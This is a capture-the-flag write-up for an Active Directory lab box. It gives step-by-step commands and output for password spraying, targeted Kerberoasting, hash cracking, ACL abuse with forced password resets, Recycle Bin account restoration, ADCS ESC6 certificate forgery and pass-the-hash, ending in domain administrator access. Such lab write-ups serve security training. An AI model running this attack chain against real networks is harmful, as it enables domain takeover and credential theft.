Post

Ossuary — CTF Writeup

Ossuary — CTF Writeup

Ossuary Writeup

Difficulty: Medium

Category: Active Directory


TL;DR

Unauthenticated SMB enumeration reveals a welcome email with default credentials. Password spray gives us andrew, who we use to run a targeted Kerberoast against svc_intern. Cracked password reuses to michael, who holds GenericAll over thomas. Thomas has AddMember into IT SUPPORT, which grants GenericAll over robert. Robert has WinRM — user flag. From the shell, we find a deleted cert_admin account in the AD Recycle Bin, restore it, and exploit ESC6 (User Specified SAN enabled on the CA) to request a certificate as Administrator, retrieve the NT hash via PKINIT, and own the domain.

Reconnaissance

Starting with a full TCP scan via RustScan, passing discovered ports into Nmap for service/version detection:

1
rustscan --addresses 10.48.132.254 -- -sC -sV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<SNIP>
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-02-24 11:40:14Z)
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: ossuary.local0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-24T11:41:42+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.ossuary.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.ossuary.local
| Issuer: commonName=ossuary-DC01-CA/domainComponent=ossuary
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-14T15:52:51
| Not valid after:  2027-01-14T15:52:51
| MD5:   8a73ddc1cc0e039f7a31582fb49a1ffd
| SHA-1: a5d8875564b7b889299b61b3a13157d03d850bde
| -----BEGIN CERTIFICATE-----
<SNIP>
| uiFQKNjnrtr6kX/XluVQ1+BSp9He8c8a/0MUDV4=
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: ossuary.local0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-24T11:41:42+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.ossuary.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.ossuary.local
| Issuer: commonName=ossuary-DC01-CA/domainComponent=ossuary
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-14T15:52:51
| Not valid after:  2027-01-14T15:52:51
| MD5:   8a73ddc1cc0e039f7a31582fb49a1ffd
| SHA-1: a5d8875564b7b889299b61b3a13157d03d850bde
| -----BEGIN CERTIFICATE-----
| MIIF6TCCBNGgAwIBAgITbQAAAAJI8y9h4RLEnwAAAAAAAjANBgkqhkiG9w0BAQsF
|<SNIP>
| pQalUO87DJXbnJf+jYz2wONjrKooK2Hfu7mytL7dWo0G1R2KoNNP/9Pk8h2YiQye
| uiFQKNjnrtr6kX/XluVQ1+BSp9He8c8a/0MUDV4=
|_-----END CERTIFICATE-----
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: ossuary.local0., Site: Default-First-Site-Name)
|_ssl-date: 2026-02-24T11:41:43+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.ossuary.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.ossuary.local
| Issuer: commonName=ossuary-DC01-CA/domainComponent=ossuary
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-14T15:52:51
| Not valid after:  2027-01-14T15:52:51
| MD5:   8a73ddc1cc0e039f7a31582fb49a1ffd
| SHA-1: a5d8875564b7b889299b61b3a13157d03d850bde
| -----BEGIN CERTIFICATE-----
| MIIF6TCCBNGgAwIBAgITbQAAAAJI8y9h4RLEnwAAAAAAAjANBgkqhkiG9w0BAQsF
| <SNIP>
| pQalUO87DJXbnJf+jYz2wONjrKooK2Hfu7mytL7dWo0G1R2KoNNP/9Pk8h2YiQye
| uiFQKNjnrtr6kX/XluVQ1+BSp9He8c8a/0MUDV4=
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: ossuary.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ossuary.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.ossuary.local
| Issuer: commonName=ossuary-DC01-CA/domainComponent=ossuary
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-14T15:52:51
| Not valid after:  2027-01-14T15:52:51
| MD5:   8a73ddc1cc0e039f7a31582fb49a1ffd
| SHA-1: a5d8875564b7b889299b61b3a13157d03d850bde
| -----BEGIN CERTIFICATE-----
| MIIF6TCCBNGgAwIBAgITbQAAAAJI8y9h4RLEnwAAAAAAAjANBgkqhkiG9w0BAQsF
| <SNIP>
| pQalUO87DJXbnJf+jYz2wONjrKooK2Hfu7mytL7dWo0G1R2KoNNP/9Pk8h2YiQye
| uiFQKNjnrtr6kX/XluVQ1+BSp9He8c8a/0MUDV4=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-02-24T11:41:42+00:00; -2s from scanner time.
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: OSSUARY
|   NetBIOS_Domain_Name: OSSUARY
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ossuary.local
|   DNS_Computer_Name: DC01.ossuary.local
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-24T11:41:04+00:00
|_ssl-date: 2026-02-24T11:41:43+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.ossuary.local
| Issuer: commonName=DC01.ossuary.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-23T07:09:50
| Not valid after:  2026-08-25T07:09:50
| MD5:   5ebcb4927e0ab8ae20720da9cab5081f
| SHA-1: 429e5362bdd85ac006a888c991db1d06c3178e93
| -----BEGIN CERTIFICATE-----
| MIIC6DCCAdCgAwIBAgIQIES/ySzsY6pPPsIL1kzm6DANBgkqhkiG9w0BAQsFADAd
<SNIP>
| vMOay7qzhK7VYulFhZfHaceaIIzm3OVYrrpFaikWuahJOmZ8sOWFQdOcUlDmZvYF
| Eama8/3PRcseqdvtEaSpycV5M3Y+p3AOnC2gzQ==
|_-----END CERTIFICATE-----
49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49671/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49672/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49718/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49726/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 31384/tcp): CLEAN (Timeout)
|   Check 2 (port 9550/tcp): CLEAN (Timeout)
|   Check 3 (port 20742/udp): CLEAN (Timeout)
|   Check 4 (port 46709/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2026-02-24T11:41:07
|_  start_date: N/A
<SNIP>

The port layout immediately tells us what we’re dealing with:

PortServiceSignificance
53DNSConfirms DC role
88KerberosKerberos auth
389/636LDAP/LDAPSAD directory
445SMBFile sharing
3268/3269Global CatalogForest-wide LDAP
3389RDPRemote Desktop

Classic Domain Controller fingerprint. The LDAP certificate and RDP NTLM negotiation confirm:

  • Domain: ossuary.local
  • Hostname: DC01.ossuary.local
  • OS: Windows Server 2022 Build 20348

One thing worth noting from the LDAP cert: the CA is ossuary-DC01-CA. An internal CA on the DC is worth keeping in mind — ADCS misconfigs are common.

1
echo "10.48.132.254 DC01.ossuary.local DC01 ossuary.local" | tee -a /etc/hosts

SMB enumeration

Before touching authenticated paths, it’s worth checking what’s accessible without credentials. Null session and guest auth are still surprisingly common even in 2026:

1
nxc smb 10.48.132.254 -u '' -p ''
1
nxc smb 10.48.132.254 -u 'guest' -p ''
1
2
SMB         10.48.132.254   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ossuary.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.48.132.254   445    DC01             [+] ossuary.local\guest:
1
nxc smb 10.48.132.254 -u 'guest' -p '' --shares

Both authenticate. Readable shares:

1
2
3
4
5
6
7
8
SMB         10.48.132.254   445    DC01             Share           Permissions     Remark
SMB         10.48.132.254   445    DC01             -----           -----------     ------
SMB         10.48.132.254   445    DC01             ADMIN$                          Remote Admin
SMB         10.48.132.254   445    DC01             C$                              Default share
SMB         10.48.132.254   445    DC01             IPC$            READ            Remote IPC
SMB         10.48.132.254   445    DC01             NETLOGON                        Logon server share
SMB         10.48.132.254   445    DC01             Public          READ
SMB         10.48.132.254   445    DC01             SYSVOL                          Logon server share

Public Share enumeration

IPC$ is standard. Public is interesting — non-default and readable by unauthenticated users. That’s worth investigating.

1
smbclient "//10.48.132.254/Public" -U 'guest'
1
2
3
4
5
6
7
smb: \> dir
  .                                   D        0  Thu Jan 15 23:00:19 2026
  ..                                DHS        0  Tue Feb 24 17:13:52 2026
  welcome_email.eml                   A      600  Thu Jan 15 23:48:30 2026

                20806911 blocks of size 4096. 17566841 blocks available
smb: \>

A welcome email sitting in an open share. Let’s grab it:

1
2
get welcome_email.eml
getting file \welcome_email.eml of size 600 as welcome_email.eml (4.2 KiloBytes/sec) (average 4.2 KiloBytes/sec)

Contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
From: david@ossuary.local
To: andrew@ossuary.local,daniel@ossuary.local,charlie@ossuary.local
Subject: Your Temporary Login Credentials
Date: Monday, 15 January 2026 09:00

Welcome to Ossuary Corp!

For your initial system access, please use:

Username: Your assigned AD username (firstname)
Temporary Password: Welcome2026!

Important: You must change this password immediately after first login. This temporary password is shared among all Q1 2024 new hires.

If you have any login issues, contact IT Support Team.

Best regards,
David Walker
HR Manager
Ossuary Corporation#

We now have:

  • A default password: Welcome2026!
  • Three usernames: andrew, daniel, charlie

This is a classic mistake — onboarding credentials sent over an unprotected channel (an open SMB share), even if they’re meant to be temporary.

Initial Access - Password Spray

Build a wordlist from the discovered usernames and spray:

1
nxc smb 10.48.132.254 -u users.txt -p 'Welcome2026!' --continue-on-succes
1
2
3
4
SMB         10.48.132.254   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ossuary.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.48.132.254   445    DC01             [+] ossuary.local\andrew:Welcome2026!
SMB         10.48.132.254   445    DC01             [-] ossuary.local\daniel:Welcome2026! STATUS_LOGON_FAILURE
SMB         10.48.132.254   445    DC01             [-] ossuary.local\charlie:Welcome2026! STATUS_LOGON_FAILURE

Only andrew still has the default password. Daniel and Charlie changed theirs. We have valid domain credentials now — time to enumerate the AD environment properly.

Collect BloodHound data for the full AD picture:

1
bloodhound-python -d ossuary.local -u andrew -p 'Welcome2026!' -ns 10.48.132.254 -c all --zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: ossuary.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.ossuary.local:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.ossuary.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.ossuary.local
INFO: Found 15 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 7 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.ossuary.local
INFO: Done in 00M 08S
INFO: Compressing output into 20260224172508_bloodhound.zip

15 users, 53 groups, 2 GPOs collected. Import into BloodHound and start mapping attack paths.

Targeted Kerberoast - svc_intern

BloodHound shows andrew has a direct attack path via targeted Kerberoasting against svc_intern. The service account has a SPN set, which means we can request a TGS on its behalf and attempt offline cracking.

image.png

What makes this targeted Kerberoasting rather than standard: andrew has specific ACL rights that let us request the TGS even without enumerating all Kerberoastable accounts blindly.

1
targetedKerberoast.py --dc-ip '10.48.132.254' -v -d 'ossuary.local' -u 'andrew' -p 'Welcome2026!' --request-user 'svc_intern'

We get a $krb5tgs$23$ hash back — RC4-encrypted TGS. RC4 is significantly faster to crack than AES, which is a misconfiguration on the service account (should have msDS-SupportedEncryptionTypes set to AES-only).

1
2
3
4
[*] Starting kerberoast attacks
[*] Attacking user (svc_intern)
[+] Printing hash for (svc_intern)
$krb5tgs$23$*svc_intern$OSSUARY.LOCAL$ossuary.local/svc_intern*$2d10ce5b892ade108ede241964e4c03f$712eed9e004ac9407a1f7c214941f0913ae8584eadd0d18d9a1d5024b8c055081fa34159ef8cae2893c85675e38ac103495d4da40b9d18d6b95638cb2726c0a99e15bcf578fbdf2fdbf96b8de3be7e76af3fcfbe26fb9a6f9f32b1f7b5ee6a704bb304de5fb35660aa42f91633890cf0f09a5ec772c29ee87f9b397d331f7348fc9c2a9cad40681093d630f4da300d3b855b44ddfc1d9e75e429e5b82be330037a508d149af9700536fa878103d9798394da49b43259c135af5d94d6a0a9a73fcb9e9505d6c05a6fc6b61082e3459964df0292e2303e5c7aa43bcbabb43a8e6b54a8d5a013796d59b6e0cabf5f4078b345a72c9a2af39d786d5e0b67f749c2fb6c6d2b41bb854252c25a780cbdfd1befcb5a3a27202bc18596cc291b0e3164f86b5df9d7ff3658fb644fc09b3dd768e6115d887b67367ee2d870481f1662931f67dd98577df99f32cd6741c39309888f75ae62f37ca45595535cdf78ea8b200212a1a7b76dd07fe75cf26c51fcf31070821121d4c1fd3d0ed428c3d354185b4ba0303a11c96e002f309b415fe8d375bcfa59b51519acfecfaad4407e4d84a162a5e98d0009896b71f6bcb10b0cbeabe8f6ce30d118f6a2246c86f7257a82a8b987a0f8d82e06755a5e1884beda60962faac19c017ff3d70ca747db69692abb0709b63b2e3d9a5eae9db3173e768ef06b9a5eb895ffa8e62e9458473b068d9f641b7f96ae2319332cd115342f7467e5af8b882dbe9fb51800cf7844a0661ea0743a7cc38815d94b987254b8dc295c321b21557f3f8939f19095536877ed9dfc38e0852e27c8f04e31d964cd6cd2f6126155ee4ea7f0b2f476d743a7d49c0b8fa3532cc05d287aba7a56021ed2b7f10039fa07f6fb28b8d544c7036b17c64d88ae94e9f349d094077f77afa8c3eaf8c1d4096ceaf558ee008680d6009a35f5ff18f4cf6747687c5bd4b01c6b0fcff9f063c67147976f0ae101cab8e8cd9db88d30fbea05b0659fcd92e557c087568a24bda84604ef224d4d15ad5888fc41487a5b45d032bd302c53c0f4c6f8bbed7f1c1116c9ec655455788c33c4bce93fe8fc46f33f8e13a90a81ad6d17376808b60d22b5a9a81e26f9def863ba468f1b233cfd6a72b928e6f4ff247ae47d0bc06c44d10d2ff760842c7467a8645faa20f893a5361e192721c7a0811f5cdc0527a40ee5526334b9104ad4ce6b2bfb758c5a96242e1674ff9462c94c806eeb2e0a1cef7224b86de94b238228caf26634ce2e85ac4723721d694e188490c3657224aa6213d5d0761c8a091e5d6bd31a3761ee2613d3d55a37c2d47310f949eca84ad94e2a0a6478511b20a6ba1d0bda54b669b6bbeaa51638fe7cf32d8b9303936214de2327822aabd2da9b5d8f8f8f9b45e264df39721450

Crack the TGS hash offline:

1
hashcat svc_intern_hash  /opt/lists/rockyou.txt
1
2
3
4
5
6
<SNIP>
$krb5tgs$23$*svc_intern$OSSUARY.LOCAL$ossuary.local/<SNIP>:basketball

Session..........: hashcat
Status...........: Cracked
1
svc_intern:basketball

Weak password on a service account. Classic.

Lateral Movement - michael (Password Reuse)

Service account passwords are often set by a developer or admin who reuses them across accounts they manage. It’s worth testing basketball against other users in the domain. A quick spray:

image.png

1
nxc smb 10.48.132.254 -u michael -p 'basketball'
1
2
SMB         10.48.132.254   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ossuary.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.48.132.254   445    DC01             [+] ossuary.local\michael:basketball

Password reuse confirmed. svc_intern and michael share the same password — likely michael set up the service account.

Back in BloodHound, querying outbound rights for michael:

image.png

ACL Abuse Chain

Step 1 : michael forces thomas’s password

1
bloodhound-quickwin -u neo4j -p exegol4thewin --heavy | grep 'MICHAEL'
1
[+] ACL : MICHAEL@OSSUARY.LOCAL--> GenericAll --> THOMAS@OSSUARY.LOCAL

GenericAll is full control. On a user object this means we can reset their password, modify their attributes, or even add them to groups directly — no need to know their current password.

1
powerview "ossuary.local"/"michael":"basketball"@"10.48.132.254"
1
Set-DomainUserPassword -Identity 'thomas' -AccountPassword 'password@123'
1
2
3
[2026-02-24 17:40:46] [Set-DomainUserPassword] Principal CN=Thomas Wilson,OU=Developers,OU=Corp,DC=ossuary,DC=local found in domain
[2026-02-24 17:40:46] [Set-DomainUserPassword] Password has been successfully changed for user thomas
[2026-02-24 17:40:46] Password changed for thomas

Step 2 : thomas adds himself to IT SUPPORT

BloodHound shows thomas’s outbound rights:

image.png

1
bloodhound-quickwin -u neo4j -p exegol4thewin --heavy | grep 'THOMAS'
1
[+] ACL : THOMAS@OSSUARY.LOCAL--> AddMember --> IT SUPPORT@OSSUARY.LOCAL

AddMember on a group means we can add any principal to it. We add thomas himself:

1
powerview "ossuary.local"/"thomas":'password@123'@"10.48.132.254"
1
Add-DomainGroupMember -Identity 'IT SUPPORT' -Members 'THOMAS'
1
2
[2026-02-24 17:45:22] [Add-DomainGroupMember] Successfully added THOMAS to group IT SUPPORT
[2026-02-24 17:45:22] User THOMAS successfully added to IT SUPPORT

exit powerview and relogin

Why does this matter? Because IT SUPPORT has rights over other accounts. Querying further in BloodHound after this group membership change (you need to exit and re-authenticate to get a Kerberos token that reflects the new group)

Step 3 : thomas (now IT SUPPORT) forces robert’s password

1
Set-DomainUserPassword -Identity 'ROBERT' -AccountPassword 'password@123'
1
2
3
[2026-02-24 17:47:36] [Set-DomainUserPassword] Principal CN=Robert Anderson,OU=IT,OU=Corp,DC=ossuary,DC=local found in domain
[2026-02-24 17:47:36] [Set-DomainUserPassword] Password has been successfully changed for user robert
[2026-02-24 17:47:36] Password changed for ROBERT

Shell Access & User Flag - Robert

Check if robert can WinRM before opening a shell:

1
nxc winrm 10.48.132.254 -u robert -p 'password@123'
1
2
WINRM       10.48.132.254   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ossuary.local)
WINRM       10.48.132.254   5985   DC01             [+] ossuary.local\robert:password@123 (admin)

(admin) means robert is in the Remote Management Users group or equivalent.

1
evil-winrm -i 10.48.132.254 -u robert -p 'password@123'
1
2
3
*Evil-WinRM* PS C:\Users\robert\Documents> whoami
ossuary\robert
*Evil-WinRM* PS C:\Users\robert\Documents>
1
 type "C:/Users/robert/desktop/user.txt"
1
TCF{@CL_@Bu$E_!$_D@nger0u$}

User flag down. Now we need to escalate to Domain Admin.

Post-Exploitation Enumeration

With a shell as a domain user, start enumerating the environment for privilege escalation paths.

AD Recycle Bin

Checking for deleted objects is a habit worth building — deleted accounts sometimes retain privileges or give clues about what’s changed in the domain:

1
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=ossuary,DC=local
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : fac326af-1368-4484-9e34-575a9aa513a8

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:ea193cc6-6add-422e-bde2-06efb99499d3,CN=Deleted Objects,DC=ossuary,DC=local
Name              : cert_admin
                    DEL:ea193cc6-6add-422e-bde2-06efb99499d3
ObjectClass       : user
ObjectGUID        : ea193cc6-6add-422e-bde2-06efb99499d3

A user named cert_admin was deleted. The name alone is a hint — this account likely had enrollment rights on ADCS certificate templates. The AD Recycle Bin preserves the object (including its GUID and most attributes) for a tombstone lifetime period, so it can be fully restored:

1
Restore-ADObject -Identity "ea193cc6-6add-422e-bde2-06efb99499d3"

Reset the password since we don’t know the original:

1
net user cert_admin password@123

Verify it’s back:

1
2
3
4
5
6
7
8
9
10
 net users

User accounts for \\

-------------------------------------------------------------------------------
Administrator            andrew                   cert_admin
charlie                  daniel                   david
Guest                    krbtgt                   martin
michael                  patrick                  robert
steve                    svc_intern               thomas

Privilege Escalation - ADCS ESC6

Enumerating Certificate Templates

1
certipy find  -u cert_admin -p 'password@123' -dc-ip 10.48.132.254
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'ossuary-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'ossuary-DC01-CA'
[*] Checking web enrollment for CA 'ossuary-DC01-CA' @ 'DC01.ossuary.local'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260224175608_Certipy.txt'
[*] Wrote text output to '20260224175608_Certipy.txt'
[*] Saving JSON output to '20260224175608_Certipy.json'
[*] Wrote JSON output to '20260224175608_Certipy.json'

Two findings stand out.

Finding 1 : ESC6: CA has User Specified SAN enabled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Certificate Authorities
  0
    CA Name                             : ossuary-DC01-CA
    DNS Name                            : DC01.ossuary.local
    Certificate Subject                 : CN=ossuary-DC01-CA, DC=ossuary, DC=local
    Certificate Serial Number           : 79036757AD0FBC8946B69E235826FC2B
    Certificate Validity Start          : 2026-01-14 15:47:58+00:00
    Certificate Validity End            : 2031-01-14 15:57:58+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Enabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : OSSUARY.LOCAL\Administrators
      Access Rights
        ManageCa                        : OSSUARY.LOCAL\Administrators
                                          OSSUARY.LOCAL\Domain Admins
                                          OSSUARY.LOCAL\Enterprise Admins
        ManageCertificates              : OSSUARY.LOCAL\Administrators
                                          OSSUARY.LOCAL\Domain Admins
                                          OSSUARY.LOCAL\Enterprise Admins
        Enroll                          : OSSUARY.LOCAL\Authenticated Users
    [!] Vulnerabilities
      ESC6                              : Enrollee can specify SAN.
    [*] Remarks
      ESC6                              : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

The CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is set. This is a CA-level configuration, not template-level. When this flag is enabled, any certificate request can include a SubjectAltName attribute that the CA will blindly embed in the issued certificate — regardless of what the template’s msPKI-Certificate-Name-Flag says. This effectively bypasses all template-level SAN restrictions.

Finding 2 : ESC4: cert_admin has dangerous permissions on the User template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
    Template Name                       : User
    Display Name                        : User
    Certificate Authorities             : ossuary-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-01-14T15:57:58+00:00
    Template Last Modified              : 2026-01-26T15:58:58+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : OSSUARY.LOCAL\cert_admin
                                          OSSUARY.LOCAL\Domain Admins
                                          OSSUARY.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : OSSUARY.LOCAL\Enterprise Admins
        Full Control Principals         : OSSUARY.LOCAL\Domain Admins
                                          OSSUARY.LOCAL\Enterprise Admins
        Write Owner Principals          : OSSUARY.LOCAL\cert_admin
                                          OSSUARY.LOCAL\Domain Admins
                                          OSSUARY.LOCAL\Enterprise Admins
        Write Dacl Principals           : OSSUARY.LOCAL\cert_admin
                                          OSSUARY.LOCAL\Domain Admins
                                          OSSUARY.LOCAL\Enterprise Admins
        Write Property Enroll           : OSSUARY.LOCAL\cert_admin
                                          OSSUARY.LOCAL\Domain Admins
                                          OSSUARY.LOCAL\Enterprise Admins
    [+] User Enrollable Principals      : OSSUARY.LOCAL\cert_admin
    [+] User ACL Principals             : OSSUARY.LOCAL\cert_admin
    [!] Vulnerabilities
      ESC4                              : User has dangerous permissions.
    [*] Remarks
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

cert_admin can enroll in the User template and also write its properties. Combined with ESC6, we don’t even need ESC4 here — but it’s good to document.

Exploitation

Since ESC6 is CA-level, the template just needs to support Client Authentication (which User does). We request a certificate specifying administrator@ossuary.local as the UPN in the SAN:

1
2
3
4
5
6
7
8
9
certipy req \
  -u cert_admin@ossuary.local \
  -p password@123 \
  -ca ossuary-DC01-CA \
  -template User \
  -upn Administrator@ossuary.local \
  -dc-ip 10.48.132.254 \
  -target DC01.ossuary.local \
  -dns DC01.ossuary.local
1
2
3
4
5
6
7
8
9
10
[*] Requesting certificate via RPC
[*] Request ID is 18
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'Administrator@ossuary.local'
    DNS Host Name: 'DC01.ossuary.local'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator_dc01.pfx'
[*] Wrote certificate and private key to 'administrator_dc01.pfx'

The CA issued it without question. Now authenticate using the certificate via PKINIT:

1
certipy auth -pfx administrator_dc01.pfx -dc-ip 10.48.132.254
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*] Certificate identities:
[*]     SAN UPN: 'Administrator@ossuary.local'
[*]     SAN DNS Host Name: 'DC01.ossuary.local'
[*] Found multiple identities in certificate
[*] Please select an identity:
    [0] UPN: 'Administrator@ossuary.local' (Administrator@ossuary.local)
    [1] DNS Host Name: 'DC01.ossuary.local' (DC01$@ossuary.local)
> 0
[*] Using principal: 'administrator@ossuary.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@ossuary.local': aad3b435b51404eeaad3b435b51404ee:835fdff612231e2a071231c13e06827f

PKINIT exchanges the certificate for a Kerberos TGT. Certipy additionally uses UnPAC-the-hash to extract the NT hash from the PAC — giving us pass-the-hash capability even without a TGT-based attack path.

Root Flag

1
nxc smb 10.48.140.12 -u administrator -H '835fdff612231e2a071231c13e06827f'
1
2
3
SMB         10.48.140.12    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ossuary.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.48.140.12    445    DC01             [+] ossuary.local\administrator:835fdff612231e2a071231c13e06827f
1
nxc smb 10.48.140.12 -u administrator -H '835fdff612231e2a071231c13e06827f' -X 'type C:/Users/administrator/desktop/root.txt'
1
2
3
4
5
6
7
